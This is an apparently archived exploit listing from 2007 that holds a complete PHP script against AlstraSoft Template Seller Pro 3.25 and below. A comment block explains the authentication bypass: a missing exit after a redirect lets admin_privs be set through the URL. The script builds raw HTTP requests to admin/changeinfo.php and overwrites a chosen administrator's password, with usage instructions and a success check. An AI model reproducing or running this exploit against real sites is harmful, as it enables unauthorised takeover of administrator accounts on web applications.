what you don't know can hurt you

tsp-admin.txt

tsp-admin.txt
Posted May 21, 2007
Authored by BlackHawk | Site itablackhawk.altervista.org

AlstraSoft Template Seller Pro versions 3.25 and below admin password change exploit.

tags | exploit, add administrator
MD5 | 4e901010cd19940604daf9396a7e0181

tsp-admin.txt

Change Mirror Download
#!/usr/bin/php -q -d short_open_tag=on
<?
echo "
AlstraSoft Template Seller Pro <= 3.25 Admin Password Change Exploit
by BlackHawk <hawkgotyou@gmail.com> <http://itablackhawk.altervista.org>
Thanks to rgod for the php code and Marty for the Love

";
if ($argc<4) {
echo "Usage: php ".$argv[0]." Host Path ID password
Host: target server (ip/hostname)
Path: path of template
ID: A Valid Admin ID (usally 1 works for the 'admin' nickname)
password: The PWD you want to set

Example:
php ".$argv[0]." localhost /template/ 1 hawk";

die;
}
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

/*
___________________________________________________________________
/ This script is part of the AlstraSoft Exploit Pack: \
| |
| http://itablackhawk.altervista.org/exploit/alsoft_exploit_pack; |
| |
| You can find the patches for this bugs at: |
| |
| http://itablackhawk.altervista.org/download/alsoft_patch.zip |
| |
\________________________.:BlackHawk 2007:._________________________/

*/

/*
VULN EXPLANATION

look at include/main.php, checkLogin function:

function checkLogin()
{
global $username, $userpassword, $userID,$conn;
global $user_name, $user_pass, $admin_privs,$designer_privs,$affiliate_privs;

session_start();
session_register("session");
if ($user_name == "" AND $username == "")
{
header("Location:index.php");
}
elseif ($user_name != "" OR $username != "")
{
$sql_user_name = $user_name;
$md5_pass = md5($user_pass);

$sql = "SELECT * FROM UserDB WHERE user_name='$sql_user_name' and user_password='$md5_pass'";
$ADODB_FETCH_MODE = ADODB_FETCH_ASSOC;
$recordSet = $conn->Execute($sql);
$num = $recordSet->RecordCount();
if ($num == 1)
{
[...]
session_register("admin_privs");
[...]
}
else
{
header("Location:index.php");
}
} // end elseif

mmm.. there isn't any exit or die() after header('Location: index.php')..
so the first part of the security can be bypassed..

now look at admin/changeinfo.php:

<?php
include("../include/common.php");
include("../include/main.php");
global $conn,$config;
checklogin();
if($admin_privs=='yes')
{
[...]
}

if you are a legal user, $admin_privs will be the value of $_SESSIN[admin_privs],
but if you aren't logged in this session simply do not exist, and you can inject
the proper value trough the URL..
*/

function quick_dump($string)
{
$result='';$exa='';$cont=0;
for ($i=0; $i<=strlen($string)-1; $i++)
{
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
{$result.=" .";}
else
{$result.=" ".$string[$i];}
if (strlen(dechex(ord($string[$i])))==2)
{$exa.=" ".dechex(ord($string[$i]));}
else
{$exa.=" 0".dechex(ord($string[$i]));}
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
}
return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='') {
$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) {
echo 'No response from '.$host.':'.$port; die;
}
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {
echo 'Not a valid proxy...';die;
}
$parts=explode(':',$proxy);
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) {
echo 'No response from proxy...';die;
}
}
fputs($ock,$packet);
if ($proxy=='') {
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
}
else {
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
$html.=fread($ock,1);
}
}
fclose($ock);
}

$host=$argv[1];
$path=$argv[2];
$adminID=$argv[3];
$password=$argv[4];


$port=80;
$proxy="";

if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

echo "- Changing admin password...\r\n";
$packet="GET ".$p."admin/changeinfo.php?admin_privs=yes&submit=sottometto&userID=$adminID&frompassword=$password HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);

if (!eregi("Info Successfully",$html))
{
echo 'ERROR EXPLOITING - TRY AGAIN\r\n';
exit;
}

echo 'Exploit worked, your new password for the admin user (ID: '.$adminID.') has been changed into: '.$password;

# Coded With BH Fast Generator v0.1
?>
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